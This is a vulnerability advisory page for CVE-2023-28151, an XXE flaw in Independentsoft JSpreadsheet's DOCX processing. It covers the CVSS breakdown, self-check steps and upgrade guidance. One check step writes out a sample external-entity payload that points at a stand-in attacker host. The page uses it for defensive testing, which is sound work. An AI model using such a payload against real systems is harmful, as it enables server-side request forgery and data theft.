CVE-2023-28151
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedAn issue was discovered in Independentsoft JSpreadsheet before 1.1.110. The API is prone to XML external entity (XXE) injection via a remote DTD in a DOCX file.
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · high confidenceIndependentsoft JSpreadsheet versions before 1.1.110 are vulnerable to XML External Entity (XXE) injection when processing DOCX files. The application's XML parser does not properly disable external entity processing, allowing attackers to reference remote DTD files and potentially exfiltrate sensitive data or perform Server-Side Request Forgery (SSRF) attacks.
Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.
Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.
NVD · CPE data< 1.1.110CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- Low
- Privileges
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
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Identify the installed JSpreadsheet versionCheck your project dependencies (Maven pom.xml, Gradle build.gradle, or JAR manifest) for the Independentsoft JSpreadsheet library version numberAffected if The version is lower than 1.1.110 (e.g., 1.1.100, 1.0.x, etc.)
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Determine if DOCX import functionality is in useReview your application code to identify if JSpreadsheet's import from DOCX feature is invoked; search for methods such as 'readXlsx', 'importDOCX', or similar DOCX parsing callsAffected if DOCX file import or parsing functionality is actively used by the application
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Inspect the XML parser configurationExamine the XMLReader or DocumentBuilder configuration used by JSpreadsheet for DOCX processing; verify whether 'FEATURE_SECURE_PROCESSING' is enabled and whether external entity resolution is explicitly disabled (e.g., setEntityResolver returning null or a custom resolver that blocks external references)Affected if The XML parser allows external entity resolution or does not explicitly disable DTD processing
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Check for XXE vulnerability in DOCX processingCreate a test DOCX file containing an external entity reference (e.g., <!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">) and attempt to process it through JSpreadsheet; observe if the application attempts to resolve the external URLAffected if The application attempts to fetch or process the external DTD/entity reference
Your environment is affected if JSpreadsheet version is below 1.1.110 AND your application uses DOCX import functionality with an XML parser that does not explicitly disable external entity processing.
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
dbcve · scoped1.1.110
Upgrade JSpreadsheet to version 1.1.110 or later, which contains the security fix. As an interim measure, configure the XML parser to disable external entity resolution and DTD processing.
1.1.110
- Upgrade Jspreadsheet to version 1.1.110 or later to resolve the XXE vulnerability
- Test the upgrade in a development or staging environment to ensure the application functions correctly
- Deploy the upgraded version to production after validation
Generated from the published advisory — verify against the referenced sources before acting.
- Consultation2.0 h
- Implementation4.0 h
- Testing6.0 h
- Review / QA2.0 h
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Free · runs locallyCheck whether your project pulls in CVE-2023-28151 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2023-28151 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
No notes yet
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- Version or environment caveats, and links to real fixes
- No weaponised exploit code, or anything meant to cause harm
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